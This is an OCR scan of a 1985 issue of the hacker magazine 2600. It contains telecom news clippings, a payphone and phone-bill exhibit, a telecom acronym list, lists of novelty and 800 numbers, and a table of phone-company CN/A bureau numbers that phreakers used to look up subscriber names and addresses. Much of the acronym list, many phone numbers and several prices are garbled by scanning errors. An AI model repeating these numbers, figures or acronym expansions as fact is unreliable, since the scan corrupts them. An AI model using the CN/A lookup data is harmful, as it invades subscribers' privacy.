that the contract calls for up to 250 of AT&T" most advanced
3B line of super-minicomputers.

IBM Gets Bigger/ Goodbye SBS

A0 Mpwn hervice

IBM has announced that it will acquire a major stake of
MCI. the nation's second largest long distance telephone
company. In the agreement, 1BM’s SB5-Skyline will merge
with MCI. This action comes less than eight months after
IBM’s acquisition of the Rolm corporation, which makes
telephone switching equipment.

Together, MCI and SBS-Skyline will have one of the largest
computerized transmission networks in the nation for voice,
data, and pictures. Consisting of optical fiber, microwave, and
three of SBS’s satellites, the new network will serve about 2.7
million customers.

Gunnar Hughes, a spokesman for Skyline, said they will
continue to offer the same service, but will eventually merge
with and become a part of MCI. Hughes said that “together
with MCT's terrestrial systems, there will be a synergy.” There is
no word yet on any new rate structures for Skyline users, but
Skvline has vowed to inform customers “every step of the way.”
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Dick Tracy Toys Are Closing In
Mo Yook Draily Mews

The world’s smallest pocket cellular phone—7 inches long
and just 15 ounces—will be introduced at a Las Vegas
telecommunications show in September. :

The Walker Pocket Phone will be a tiny version of the
cellular car phone. It will not require a base station and can
operate anywhere and will retail at about $3,000,

5, Tadwy

At least three American companies have unveiled desk-top
picture phones this year and two more companies plan 1986
releases. Image Data Corp. began delivering Photophone
earlier this vear. The device attaches to an ordinary phone line
in a minute, takes five minutes to learn to operate, and
transmits black-and-white still pictures to its mates in five to
fifteen seconds. It is priced at $8,500.

Datapoint Corp’s recently announced MINX does the same
in color and can also attach 10 a personal computer. Itis priced
from 38,800 to $11,100,

A full-motion color system from Widcom Inc. goes for
$50.000 for a picture squeezer and $20,000 per station. Picture
squeezing is a process that accounts for the fact that only a
small amount of information can be sent down a regular phone
line, and a video signal requires 150 times more information
than a voice signal.

CorumusmcaLions. W ock I

Validec Inc. has invented a hand-held terminal aimed at the
restaurant business that allows orders to be placed without the
waiter having to ever leave the customer’s table. The Point of
Origin System is a local area network of printers, terminals, and
computers that can be placed at the bar, kitchen and cash
register. It uses radio frequencies to communicate with the host
computer which can either be an IBM PC AT or AT&T 6300.
In addition. the information display allows the restaurant to
keep track of every item ordered and how many tables a waiter
served on any given shift. This will allow the restaurant owner
to decide which are the unpopular items on the menu and to
examine the efficency of the employees.

Directory Assistance By Computer
Advenming Ago

Since Mayv, 1984, when the seven regional telephone
operating companies imposed a 50¢ charge for interstate
directory assistance calls, direct marketers have sought to have
that charge rolled back or eliminated, and also to have the
phone companies make directory information available on
computer tape or directly via computer terminals,

Mountain Bell, based in Denver and serving telephone
customers in ldaho, Montana, Wyoming, Utah, Colorado,
Arizona, and New Mexico, has taken the biggest step in that
direction so far with the creation of a computer system it calls
ScanTel. Available for a month, but as yet unpublicized by the
company, ScanTel allows those equipped with a computer
terminal or personal computer to access the company’s entire
directory database.

The ScanTel database is separate from that used by
directory-assistance operators. although it contains the same
listings. 1t differs from the conventional database, however. in

that it can be searched not only by pame but by address. Soon
to be added is a reverse directory feature, permitting users (o
find out who belongs to a given telephone number.

Users of the system can access it via telephone from anywhere
in the country. A three-tiered pricing scheme has been
established that simultaneously charges 50¢ per minute of use.
25¢ for each request, and 5¢ for each response. However, the
system can handle requests for multiple addresses, such as all
those on a given street. That would be considered a single
request at 25¢ and each name, address, and phone number
found would cost 5e.

Pest Control

Sew York Duidy News

If you own less than 100 shares, BellSouth will pay you$10to
get lost. The company is shooing away small investors who
clutter up the books and hold only 145% of the 301.9 million
shares. Shareholders who agree will be paid the market price
for their stock, plus $10 to close their account.

Bell Propaganda Films

Subsarban Trend

A suburban street served as a movie set last month as New
Jersey Bell taped a movie about the consequences of cheating
the phone company with computers and other technologies.

The movie, produced for AT&T, is “part of a total deterrent
package,” said Karen Johnson of New Jersey Bell. Although
the full program has not yet been fully developed, Johnson said
one of the videotapes will be targeted toward grammar school
and. high school students. Other groups to be targeted include
vocational students, college students, and members of the
military.

The program is designed to make viewers aware of the pitfalls
of cheating Ma Bell, using computers to cheat systems, using
false credit cards and other methods of avoiding payment.

Europe Standardizing Telecoms

The Wall Strect Mo

In Spain, the busy signal is three pips a second—in Denmark
it’s two. Telephone numbers within French cities are seven
digits long—in Italy they're almost any length. West German
phones run on 60 volts of electricity—elsewhere it's 48.

This list can go on and on; only about 309 of the technical
specifications involved in phone systems are common from one
country to the next. In telephones, as in much else in Europe,
each country has gone its own way. But now the idea of
standardizing telecommunications systems is catching on,
Officials in national governments and at the Common Market
executive commission are pushing it as a way of opening
telecommunications markets and cutting phone bills. Big
equipment makers are supporting it asa way of expanding their
sales abroad.

By the year 2000, telecommunications may grow more than
threefold to 7% of the Common Markets gross domestic
product, topping autos as the biggest industrial sector. Seven of
the world’s top 13 telephone switch makers are European.
Many political and economic issues cloud the standardization
process, because companies stand a lot to gain from these
potential markets, and some have a lot to lose.
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Hackers Have Big Business Scared

Sy & Sofljwane

Security has emerged in recent surveys as the number one
concern of large corporate micro-mainframe link users.
According to General Electric Information Services Co.
{Rockville, MD), which conducted its own survey, security
problems can be “devastating”.

Why then are so many large companies still using simple
passwords to access the corporate database from end-usc
PC’s? Three reasons are usually given: a perception that a
password will do the job, that most secunty schemes are 109
complicated, and the cost of adding a more sophisticated
system.

Bob Lewin, vice president of marketing and sales at Digital
Pathways, Inc. (Palo Alto, CA), is a data-security specialist
with more than 300 installations in Fortune 1000 companies.
He says most large companies are presently satisfied with
password access because it's simple. However, that's slowly
changing. Users, particularly those with a micro-mainframe
network. are increasingly nervous about hackers and other
unauthorized access. Almost anvone doing business with the
government will be required to meel certain minimum
computer security standards that are more sophisticated thana
password.

“One problem with PC-to-mainframe hookups,” says Greg
Hagoplan, marketing manager of On-Line Software’s
Guardian line, “is that PCs are generating official-looking
documents and reports. and there’s no way to prove these arc
correct. It's scaring a lot of companies. They now have to
monitor uploading as well as downloading of data, so there’s
more interest in controlling the PC-to-mainframe daia.™

Fiber-Optic Network For Du Pont

Philsdelphas | apmred

Diamond State Telephone Co. will build a $15 milhon, 40-
mile fiber-optic telephone network for the Du Pont Co. in New
Castle County, Delaware.

Du Pont's voice and computer data network is a way of
bypassing the phone company’s network—something that
phone companies throughout the nation fear.

Campaign Contributions On-Line
A Sewms Server H Al wander

“Campaign finance has continued to be a growth industry,”
said Bob Biersuck of the Federal Election Commission. And he
wants 1o keep it that way. He was explaining 1o the third
standing-room-only gathering of consultants and reporters
how the home computer owner can access the data on who gives
what to politicians running for federal offices.

Home computer users now may tap into the information and
download. The FEC charges $1.000 for a calendar month or
$50 for an hour of connect time. You can access the FEC
through any Telenet port in the U.S.

Subscribers will get a unigue D and pick a password. The
FEC does not own the computer; it leases time on National's 40
megabyte machine at Fairfield. Virginia. National has been the
FEC's contracter since 1976. [Of course, such information
should be made available to anyone at litile or no fee. Typical--
a country where national parkland is sold dirt cheap to
developers. and public information is sold at mint prices 1o
individuals.]

AT&T Info Charges Upheld

Comymunsatiom Wk

The U.S. Court of Appeals has refused to strike down the
rates AT&T charges for its interstate directory assistance.

The court swept aside arguments by the Direct Marketing
Association and MCI that the FCC had prescribed rates that
are too high and that discriminate against customers who use
AT&T's long-distance competitors.

The FCC in May 1984 told AT&T it could charge no more
than 50 cents per interstate information call and suggested that
it allow customers two free calls cach month, AT&T has
followed those guidelines, but offers the free calls only to those
who selected AT&T as their primary carrier.

AT&T has told the FCC that it will raise its rates to 60 cents if
new access Lariffs fled by the nation’s telcos go into effect.

More Use of Phone Computers
Ansociaied Fress

The government has proposed sweeping revisions of its rules
in order to allow-Amencans to program high-powered phone
company computers to leave or take messages, ring several
phones to deliver a message at a set time, or screen unwanted
calls.

FCC Chairman Mark 5. Fowler said the commission wants
to “promote more efficient use of the network™ that telephone
companies have to “bring technological benefits to the common
man. "

AT&T Washington spokesman Herb Linnen said, “Thisis a
positive step forward because it can focus attention on the
critical need to remove artificial restraints that currently inhibit
the intreduction of innovative services that customers want.”

Because telephone companies have a line going into almost
every home and office in the country and because of the
installation of sophisticated computer equipment, telephone
companies appear to be ina position to offer “voice messaging™
SErvices.

More Divestiture Woes
Miew Vork Dk Mewi

A Jamaica (NY) attorney has sued the New York Telephone
Company and AT&T for 325000 for their failure to fix a
telephone in his office since May 1. He said both companies
claim it is the other's responsibility and that, in exasperation, he
decided to let them fhight it out in court,

The attorney, Patrick Beary, who is also an administrative
law judge in Manhattan, said he believes the root of his trouble
15 the “break-up of the old AT&T."

He added, *AT&T claims it is not their responsibility because
the problem is due to faulty New York Telephone lines; and
New York Telephone takes the position that it is the fault of
defective AT&T equipment in my office.”™

However, he said, one good thing came out of the break-up—
his discovery that he has been paying rental charges fora phone
in a Jamaica apartment he vacated 20 years ago. He said he
made that discovery aflter AT&T sent him a bill listing a
breakdown of its charges—something that had not been done
before the AT&T break-up.

Beary said he is suing both companies for $25,000 to cover
the loss of clients and business he has sustained, along with
overcharges he has paid for phone equipment he hasn't used in
20 years,

“The irony of it all is that I'm a stockholder in AT&T," he
added.
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Avoid Phones in Storms!
The Mew Brunswick Home Sead

Prompted in part by the mysterious “phone death™ of a
Piscataway, New Jersey yvouth, a federal governmental agency
has begun persuading telephone companies throughout the
nation to warn consumers not to use telephones during
¢lectrical storms.

The Consumer Product Safety Commission recently sent
letters to the nation’s seven regional phone companies, asking
themn to consider publishing advisories in their directones.

Rural Customers Denied Access

2] M Serviee

On March 1, in an effort to help customers of small
independent phone companies, the FCC ordered that any
independent telco must offer equal access within three years if
any legitimate long distance company requested it. Step-by-
Step switching equipment, first introduced in 1917, and
crossbar switching equipment, first introduced during WW 11,
are not sophisticated enough to handle the electronics of equal
dCCEsS,

In Sussex County, New Jersey, long-distance companies
have not requested equal access, because of the antiquated
switches there. This means that people cannot choose any
carrier they wish from their company—United Telephone.
Companies like MCI and Allnet said they simply could not
work with the technology that United offers.

What the FCC has decided to do in cases like this is offer the
smaller independent companies three years to install the
necessary equipment and upgrade their systems after they
receive any requests from long-distance companies, requests
that are likely never to come in Sussex County. They hope that
the small companies will eventually replace their switches with
digital technology when they wear out, but an FCC engineer
says that *It's probably always cheaper to fix stepper switches
than replace them.”™ He said. *1 guess that could be done
forever.™

Police Dept. Wants Cellular Phones
Yoawdtod Prgas

The old and often inoperative emergency telephones along
city highways in New York will be replaced by new cellular
telephones that cost less and are easier to maintain, according
1o the police department.

The department did not want to replace the system with
similar telephones that could be knocked out of service in bad
weather, and the technology for outdoor cellular telephones,
which operate over the air, had not been developed until
recently. A prototype placed on the Bronx River Parkway at
Allerton Avenue in February has operated flawlessly,
according to a spokesman.

Toll-free From Where?

Ko

AT&T hasapplied toextend its international toll-free service
1o South Korea and-the Dominican Republic, allowing people
in those nations to make toll-free calls to American companies.

Toll-free calls using the 800 service over AT&T lines
currently is available from Canada, France, Bermuda, the
Netherlands, the United Kingdom, and Antigua.

The welephone company said U.S. customers subscribing to
the service from Korea would pay $135 an hour or $2.25 a

minute, while it would be $87 an hour, or $1.45 a minute from
the Dominican Republic.

Pacific Cable Planned

T New York Times

Nine American telecommunications companies, led by
AT&T, have applied to build and operate the first iber-optic
cable system to span the Pacific Ocean.

The undersea system would have two parts—a 7,200-mile
segment connecting California, Hawaii, Guam, and Japan and
a 1,500-mile link between Guam and the Philippines.

In addition to AT&T, the companies seeking approval from
the FCC for the systems are Hawaiian Telephone, [TT World
Communications, MCI International, GTE Sprint, Western
Union Telegraph, RCA Global Communications, FTC
Communications, and TRT Telecommunications.

Meanwhile, an AT&T ship has been installing, in nearly
9,000 feet of water, the worldes first deep-water fiber-optic
system, which will connect two of Spain’s Canary Islands,
Tenerife and Grand Canary. It will have to withstand pressures
exceeding 12,000 pounds per square inch.

Free Kiddie Dial-It Calls

Communicaisens Week

Bell Atlantic Corp. revealed that it is not charging
subscribers for 976 *dial-it™ calls if the customers report that the
calls were made by unsupervised children or through other
inadvertent household hi-jinks.

The policy. described by the company as a “compassionate™
approach, is designed to save the pocketbooks of parents whose
toddlers ring up hundreds of dollars in calls made to recordings
of Santa Claus or Muppets. Such cases have drawn consumer
outrage around the country and at least one class action suit in
California court. ;

Bell Atlantic said that while the company 1s willing to give
consumers a break the first time they report telephone misuse,
and even possibly the second time, consumers who continue
running up charges won't be able to duck payment indefinitely.

AT&T to Read E-Mail

ferwath Sar-ledper

AT&T has begun offering a letter opening service for
electronic mail users.

It's called Message Access Service, and the target is business
people who travel and need frequent access to their electronic
mailboxes.

The service will be provided through electronic mail service
vendors or corporations that have their own such service.

AT&T's first customer is Compuserve, which offers its
Infoplex service to some 160 corporations. Electronic mail
customers will dial 800 numbers to reach the AT&T messape
access center in Norfolk, Virginia to receive or send messages.

Attendants at the center will act as surrogates for the mailbox
user, reading messages for customers or entering messages into
the vendor’s database. Each database 1s owned and operated by
individual electronic mail vendors, and not by AT&T. Vendors
will be billed monthly for the total number of minutes that
subscribers use. Prices will be based on volume, AT&T said.

Vendors will in turn bill subscribers for the service.
Compuserve will charge its customers $1.50 per minute plus
normal Infoplex charges. The service is available now fromany
telephone, according to an AT&T spokesman.
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Super Crisis Alert System
Livuice] Pricid | edva ional

An emergency warning system that would ring telephones in
homes of residents threatened by chemical spills or dangerous
weather could be in place in New Jersey within a few years.

The system, now being studied by state emergency officials,
could ring up to 100 phones in affected areas simultaneously. It
could shift from area to area within minutes.

“When someone picks up the phone, a recording would
provide information on evacuation procedures, shelters, or
other important information,” said a member of the state police
emergency management team. “ A drawback to the system may
be that it would overload the phone system,™ he said.

Another system under study would automatically increase
the volume of radios in affected areas. Currently, the state relies
on an emergency broadcast system, which sets off mumcipal
sirens and alarms and triggers emergency broadcast tones on
radios.

Super Pay Phone
Communications Wk

Advanced TeleSystems Litd. introduced what it claims is the
country’s first coin and credit card-operated pay phone.

The modularly designed, stand-alone Marcom XL phone
can be programmed to internally verify any number of credit
cards, and it will accept mixed payment of both coins and credit
cards. An option to use the phones' external credit card
validation capability to replace point-of-sale verification
devices 15 1n the works.

The phone requires a 40-cent surcharge over AT&T s Direct
Distance Diahing rates for credit card calls and features least-
cost routing.

The phones rely on electronic, optical, and magnetic
switches, including a magnetic switchhook without a button
and infrared optical reading of the keypad. A 300-word
vocabulary voice prompting system reads the keypad numbers
as they are pressed and tells incoming callers that it will not
accept collect calls. The call-prompting feature can be
customized for individual customers allowing companies to
add messages [such as “Thank you for subscribing to 2600, for
example.]

The phones have only a $150 coin box to reduce the incentive
for vandalism. The phones also use ATS” new paperless coin-
box accounting system, which uses a hand-held computer 10
fight coin-collector fraud.

Phones at High and Low Speeds
Comemunasl o Weck

Airfone Inc., which provides phone service on major airlines,
will begin public telephone service on Amtrak's Washington-
to-New York Metroliner in late January.

There would be three phones on each train. Amtrak has
converted a railroad car dressing room into an office with desks
and phones, but there will also be standard telephone booths.

Calls will be made by sliding any major credit card througha
reader on the phone. Once the card is validated, calls can be
dialed directly to any location in the U.S., including Alaska,
Hawaii, and Puerto Rico.

There were phones on the Metroliner until 1981 when the
U.S. povernment, which lent the radio frequency used for the
service Lo AT&T, asked for its return for government use.

Meanwhile, NewVector Communications said it is testing

credit card cellular mobile phones on the Metro Transit Public
Bus System and the Washington State Ferry System in Seattle.

AT&T Offers E-Mail

Communsation Werk

ATE&T Information Systems and AT&T Communications
have joined together to offer an electronic mail service which
will resemble MC1 Mail, but will be priced slightly lower. For
instance, the sign-up fee is said to be $12, compared with MCl's
$18 charge. Delivery of a 400-character memo would be 40
cents and an electronic letter would be 80 cents. Also, AT&T
Mail would feature $1.25 cash-on-delivery option [collect
electronic mail?] and an interactive chat mode, priced at 45
cents per minute of connect tume. AT&T will reportedly charge
a half-cent per day for storage of each message and will charge
an extra 40 cents for a letter written while connected to the
system.

Dreams of GEnie

C ormamunicadions W nrk

General Electnic Information Services announced a new
database services network for home personal computer users
called GEnie, or General Electric Network Information
Exchange. It is an addition to GEISCO' traditional corporate
customer base. The service will primarily use excess nighttime
capacity on GEISCO' packet-switched network.

It will cost only $5 per hour for either 300 or 1200 baud
service. This 15 considerably less than CompuServe and the
Source, which charge up to 60 percent more per hour, and carry
a surcharge for 1200 baud.

GEnie services include electronic mail, bulletin board,
Business Band Real-Time conferencing, a CB-like service
adapted for business use and said by the company to be unique
to GEnie. GEISCO intends to add online shopping and travel
services in 1986 and then additional newsletlers and services
after that.

Subseribers can sign up using their home computer by calling
B006388369, then entering “H,H,H,"” then *5" and then
“5IM11993,GENIE.”

German Phone System Stagnant
Wall Street Joumal

How does one begin to come to terms with the West German
Post Ministry, which wields a communications monopoly so
rigid it once barred the Mickey Mouse telephone?

In this era of telecommunications liberalization around the
world, the ministry—which controls virtually all forms of
transmitted communication in the country and annually doles
out $6 billion in contracts—remains, in the view of many, an
ancient anomaly.

Ever since the first Bell telephones arrived in Berlin a century
ago under the watchful eye of Postmaster Heinnich von
Stephan, the telecommunications industry has been carefully
regulated by government. At first, both the phone and the rules
were simple. Today, a huge bureaucracy (some 340,000
employees) follows a maze of regulations, some of which date
back to the 1920s and 1930s, in dealing with a rapidly changing
technology.

[By the way, the Mickey Mouse phones were barred because
designer phones were unable to withstand being dropped from
a height of one meter, one of the many requirements.]



The 2600 Information Bureau

The “Page 5 feature from 1984 was renamed to “'The 2600 Information Bu-
reau’ in order to be more clear in what this part of the magazine was all
about. As in 1984, various bits of data were printed here, everything from
lists of phone numbers and computer addresses to bits of phone bills and
lists of acronyms. Two pages were usually devoted to this section. Back then,
data of any sort was considered valuable information and the content we
printed often resulted in a crisis of some sort for those who were trying to
keep it secret. Other times, it served as a public service, such as December’s
listing of every BBS number we could find. As with other features, “The 2600
Information Bureau™ didn't appear in August due to the crisis we were facing
with our own BBS being seized by the authorities.
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Mew York Telephone

751 2600 783 270-R750 DEC 19, 1984 ATTCOM PAGE 1

&= ATel AT&T COMMUNICATIONS DETAILS OF CURRENT CHARGES

=== Communications

ITEMITEED CALLS - S5EE PAGE 2 21.84%
TAX: FEDERAL 3% .66 S/L 7.25% 1.52 2.18
ATET COMMUMICATIONS CURREMT CHARGES 24.02
BILLING INQUIRIES CALL AT&T COMMUMNICATIONS 1-800 222-0300
THIS PORTION OF YOUR BILL IS PROVIDED AS A4 SERVICE TO AT&ZT COMMUNICATIONS.
THERE 1S NO CONMECTION BETWEEN MNEW YORK TELEPHONE AND AT&T COMMUNICATIONS. YOU
MAY CHOOSE AMOTHER COMPAHY FOR YOUR LOMG DISTAMCE TELEPHOME CALLS WHILE STILL
o RECEIVING YOUR LOCAL TELEPHOME SERVICE FROM HNEW YORK TELEPHOKE.
Exhibit A: BTN
The Lie. !

BEEEPITEIN! EE
Exhibit B:
We don’t know what this

means, but it’s probably
a lie too.

O EEENS
Bt onET

B P37 W

Local Calls 25¢

Liamadas Locales

S0S - Emergency dial

Mo Cosn needed for charge, S05 and free calls.
This telephone may be used to reach all long distance companies.  Obtan dialing instruchons from your company.

WE'D LIEKE TO THANK EVERYONE
WHO'S BEEN SENDING US THESE
PAY PHONE CARDS FROM ALL
OVER THE COUNTRY. WE HAVE
QUITE A COLLECTION NOW. WE
DONT EVEN KENOW HOW THIS

S0S-Emergencias marque |

Mo se necesitan monedas para lamadas con cargo, SO5 o gratis. Este telefono da acceso a todas las companias
de servicio de larga distancia. Obtenga de su compania de servicio de larga distancia las instrucciones para marcar

GOT STARTED, SINCE WE NEVER ua UPPER
ASKED FOR THEM. MAKE SURE

YOUGET OPERATOR PERMISSION SOME GOOD BOARDS:

BEFORE YOU TAKE ONE OF THESE Priveaie SECIOF oo v v evennnrerssannanns 2013664431

OFF A WORKING PHOMNE—IN Pt 1 s N S o QI44287216

SOME CASES THEY'LL EVEN TELL
¥YOU THE BEST WAY TO DO IT.

Do you recognize Lippy down at the bottom of the
page? Well, because of him and his new postal rates
(along with our increased printing costs), the price of
2600 is finally going to have to go up! Effective March
1, our annual rates will be 512 for 12 issues. Back
issues will remain $1 apiece.
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—‘ SCAEEN AT CASY VIEWING
HEMGHT AND ADJUSTASLE
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Exhibit C:
The Happy Hacker
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ACRONYM LIST En - Mre t?rﬁ naslsEance{ft l EEIELtEFIEEﬂ N = Microfilam)
Als - 1g1i ccess Lross [omnect Systen
N DAY - nigatal Over Vaolce
REHC = Average Huﬁy Hour Calls Davip - ﬂi ital Over VIDea
ABY - Att ten ﬁ1t f Verification DCE - Daka Comsunications Equlplent
B0 - Automstic Cal 15tr1hﬂt1ng systea DLTS = Dimension Custom Telephone Service
40 - &dvanced Coamunications SEE 7] Eﬁg ~ Direct Distance Dialing
ACTE - Butpmatic Coin Tele,hﬂne ervice il - Dataphore Digital Service
ALl - Blare Control Unit §2r - [ gtrlhuted atz elch an%E .
a0l - dutomatic Display Lall Indicator DIAD - fmagnetic) Drua Inforsafion Assesbler / Dispatcher
Ang - Advanced Data Processing RIAS - ngErse Automa lt Integrated Systen
05 - Automatic Voice Efaten ﬁgg 7 D:ret rhar? aling
A2X - Asyaeetric Data elchange bl - Dist rthuted n nruat or Systea
AFALS - graaatic ante nﬂ~rctne.t Data Systee gV - Data In Voice
AlL - Automatic nte-’eE‘ fe ﬁ L - ﬂln Long Line equi ﬁlEﬁ+
ﬂ{ﬁﬂ - qutosatic id g E ? utward Dialing gNHR - .1an:h Non-Hierarchical Routing
180 - fufosatic In rcept EL iR - Dialed Number Recorder
AMR - futosatic Message ﬂccwtﬂ“ : DNIC - Jata Networi ldentification Code
aMARD - Automatic Messade ﬁtxnunllnﬂ Recording Center el = Lkldﬂz: Ayverlasd Contrcl
AMPS - Advanced Mabile Telephone Bérvice ne - Diz! Pulze
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asl - gutogstic Husher Identification 298 - Direct Statien Selectionior Digital Switching Systesl
AP - All Points DTE - Data Terainating Equipaent
RPARET- Advanced Research Projects Agency Metwork 0T - DBial Tene First payphone
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1T - FLEE".'..ﬂﬁ Tel EFhLﬂE 2nd E]Egrapl" _ oy - Destination Vocoder
ATTIS - Aserican Telephone and Tel agragh Inforeation Systeas oy - Digital Veice eichange
_:IJI:'.'”H' AUTCmatic 'n.’l]u_:e Netewsrk mmmm——— -
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i o - fut of City Indicater

o0t - Jperator D stance Dialing

cif - E¥€+he inforgaticn {-tes

i - Dfuge .nler!a

i . hperatnr ther d91' tication

2 - Jriginat 1nu ster

o§! - uper hrsten ﬂEEf:ﬂnnEttlan

453 FE'; 106 EJp:ur Systes

CUTWATE= QUTward Rice Area Telephone Service
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PARI - Private Automatic Branch E::Hange

P = Pulse ﬂsgl itication Madulation

FRTROL - Drugriﬂ or Hdllitrit vé Traffic Reports On Line
FEX - Private Eranch Exchange

Flu = ”rtaufu Center

L - Panel Lall Indicator

FL2 = Pulse Code Modulatien

FIV = Phone Line TeleVision

POS - Poirt 04 Sale

PCTS = Flain Cld Telephone Service

FP = Prigary Pu.nh lor dial Post Paf payohone!

FLS - Fersan to Person, Lollect, Special

PP¥ - Pulse Postition Modulation

eN_ - Pro:ect Brograsaer Number
F3J3 = Public Switched Digital Service

Ped - Public Zailching petiork

FIT - european Fostal, Telephone, and Telegraph autharities
FYPR - Packe! Yoice between acket Radio
Fif - Pulee Wigth Mpdulatios

BRES - CQuasi-Aandoa Signal Snuate
SRCEF - Handom Access and EurfElitlE“ far Extended Ferforsance
R&SC Res;dence Account Service Canter
RC Efittﬂe. Center

RCC - Ralio Comson Carrier
fET - Reai tngugh Tiae

EJE_ - Bemate o:f Eabry

SMATS - 3zacte Maintenance fdeistration and Traffic Systea
FOTL - Remcle ﬂF?‘:E Test Line

PITS - Rotary Qut Trunks Gelectors

P - Reveriive Fulse

RES Rate Queie Systes

& - Poute Relay

rdl - Bate ind Route Operator

F5& - Resste Switching Systes

P3l! = Rescte Switching Unit

hl - Hea. Tisze

Ble - Remote Trunb Arrangeasnt

=TAL - Regicnal Technical "Assistance Center

i - Reteive Unil
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Uawnloaded fros Sherwood Forest 1L

2Ud-436-1414
202-545-0708
202-343-1100
715-891-1287
714-897-5411

213-571-6523
213-0b4-7bb4

J05-B43-73%6
213-BB8-7435
215-763-1000
S12-472-4263
al2-472-9%41

WHITE HOUSE
FENTAGON

EFA

DIAL-A-GEEE
TIMELY

SATANIC MESSABES
DIAL=A-50NE
SYNTHACER MUSIC
BiéL=-A-POEM

LIST OF MANY NUREERS
WIERD

“INSERT 25"

212-9856-1 840
914-997-1277
alb=7%4-1707
201-623-0130
2ub-b41-2381
(TONE IN 11f
ai2-472-9941
312-472-997s
JJ? qfi"qE
211-935-1111
S12-472-4263

al2-472-2181

I'I

STOCK BUDTES

L} -

VOICE OF CHESTER
FOR DIRECTORY)
SPECIAL RECORDING

WIERD EFFECTS!
WIERD RECORDING

MARCH 1985

soon to be a part of the forthcoaing 2600 phone book

800-325-7623
BO0-424-2424
BOO-525-10546
800-323-3083
BO0-424-9064
B00-424-9128
B00-424-9129
BO0-224-B530
g00-424-8B07
BOO-424-0214
BuUd-424-90%0
800-36B-54034

AN EIFRESS CURR EXCH RT
AM FED OF TEACHERS
CATTLEMAN MEWS
CATTLEMAN NEWS

EDISON EMERGY LINE

DEFT OF ENERGY NEWSLINE
IN SPANISH

HOUZINE UREAN LEVLPHT
TRANSPORTATION NENSLINE

OFC OF EDUCATION NEWS
WHITE HOUSE PRESS OFC

HCI UFDATE

BiE0-221-4%43
800-325-0887
BOO-521-80%4
BO0-358-3744
B00-424-8086
Bi0-238-3342

WOHEN USA NEWS

ARTS PROGRAM GUIDE
RHERICAN MED ASSN
AFL-CI0 REWS SVC

NATL EDUCATION ASSN
NATIONAL COTTON COUNCEL

n

P1ONEERS 512-472-9936 *  *
DIAL-A-ATHIEST 512-472-9941 INSERT 25 CENTS RECORDING
212-584-0897 DIRTY 212-976-2727  P.DLA.

213-840-3971  HOROWITI §19-4B5-9888  UNKNDWN

217-423-9532 DIAL-A-PROSTITUTE 613-748-0002 PHOME CO. TESTING LINES

203-171-3930
213-234-4%14

213-765-2000  JOKES B19-T4B-0003 ° o

213-377-6244  JOKES 900-410-6272 SPACE SHUTTLE COMM, B00-424-9820 LITIZENS CHOICE NENS
202-456-1814 WHITE HOUSE 300-321-3052  UMKMOWN BOO-424-3040 N A.M, NEMSLINE
202-365-2900  WATERGATE BO0-321-3048  UKKNORN B00-252-0112  USC MEWSLINE
031-441-930-4832 OUEEN ELIZABETH 800-321=3049  UNENOWN BOG-368-3667 BUSINESS LINE
916-445-2864 JERRY BROWK B00-321-3074  UNKNOWN BO0-368-5814 NTL ASSM OF REALTORS
BOO-424-9090 RONALD REAGAN'S PRESS  B00-631-1147  LNENDWN B00-358-5497 SEMATOR HOWARD BAKER
202-799-5017 AEC NEW YORK FEED LINE  243-331-0437  UNENOWN BO0-358-5833  AM HERITASE FOUNDATION
B00-248-0151 WHITE HOUSE PRESS ROG-242-4027 SMOS REPORT LOS ANBELES B00-368-3844 COMM SRTELITE CORP

B0{-358-3300
B00-2281-0226

COIN UPDATE

415-843-7439 DIAL-AN-EXCUSE BOU-367-4710 5SMOB REPORT SAN BERKDND
NBA HOTLINE

- Bl -B&2- th] AT T STOCK FRICES 800-622-0858 CALIF HED ASSN
How to Use the Dial Telephone

To call a number in your own office: Move the dial clockwise until your finger strikes the finger stop.
Let’s say the number is 254, Remove your finger and allow the dial to turn back. Do not push
Remove the receiver. the dial back.

Listen for the dial tone—a steady humming sound. Dial the figures 5 and 4 in the same way.

Place your finger in the opening over the figure “2." When you hear a burr-burr-burr sound, the called telephone is ringing.

If you hear a buzz-buzz-buzz sound, the called telephone is busy. It
you hear this “busy™ signal !!I:lllﬂ' up the receiver and try the ell
later.

1f you make a mistake in dialing, replace the receiver for a few seconds
and begin again.

If you have trouble dialing, replace the receiver for a few seconds,
then dial the Operator and she will help you.

DETACH HERE ———=

BEFORE CASHING

@ New York Telephone

Lo B Dol T TR ol g AW A2 1T B AT o Here are some of the things we're deing to improve Public Telephone Service —

= We've also added equipment to make Public

= Public Telephone repairmen are patrolling the Telephones more resistant to tampering and vandalism.

streets constantly to insure quick repairs.
® You can help too . . . by calling repair service when you

telephone is out of order. And of course, there's no charge for the call.

BE SURE YOU DIAL CORRECTLY ... IF IN DOUBT LOOK UP THE NUMBER



kFH CN/H Wusber Rev. GState (¥=Provincel WPA CN/A Mumber Rev. State (8=Province) NPA CN/A Nusber Rev. State (8=Provincel
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01 201-676-7070 New Jersey 13 &17-787-5300 Massachusetts 703 J04-5B0-0255 1/85 ﬂirginia

202 304-343-7014 Washington D, C. 414 A0B-252-593%2 Wisconsin 704 912-784-0440 Moith Carolina
203 203-7B9-8B135 Connecticut 413 415-343-6374 California 105 416-979-346% Ontario {4
204 204-949-0500 Manitaba {#) 416 416-979-0123 Ontario (1) 707 413-543-6374 California

205 203-968-7000 Alabana 417 314-721-8426 Missouri 709 418 NONE '!! Newfoundland (%)
206 206-3B2-3174 Hashington 418 514-394-T440 11/B4 Quebec (1) 112 402-380-0255 1/85 lowa

“g? L 7-TR7-9300 Maine 419 &14-454-0123 Dhio 715 Ti3-Bb1-7194 Texas

208 303-293-B777 10/84 Idaho a0l 405-238-6121 Arkansas 714 818-501-7251 California

209 415-343-2841 California 302 502-583-2841 Kentucky 715 b0B-252-4532 Winconsin

212 318-471-8111 New ¥ork 303 204-182-5124 Oregan 76 S1B-471-8111 Mew York

213 Bla-501-7251 Lalifornia 304 504-243-5330 Louisiana 717 412-633-5800 Penncylvania
214 214-4p4-7400 Texas : a05  303-293-8777 New Hexico 718 51B-471-8111 Mew York

213 412-533-5500 Fennsylvania 506 S04-848-3041 Mew Brunswick (%) B0l 303-293-B777 Utah

216 bI4-464-0123 10/84 Dhio 307 402-3B0-0255 1785 Minnesota 802 &17-7B7-3300 Vermont
217 217-525-5800 I1linpis G09  204-3B2-5124 Washington 803 912-784-0440 South Carolina
218 402-345-0600 1/B3 Minnesota 312 512-828-250] Texas BO4  304-344-8040 Virginia

219 317-263-4834 Indiana 313 el4-464-0123 Ohio 805  415-543-2841 California

01 304-343-1401 Haryland 914 514-394-7440 11/84 Quebec (3} Bl& 512-828-2301 Texas

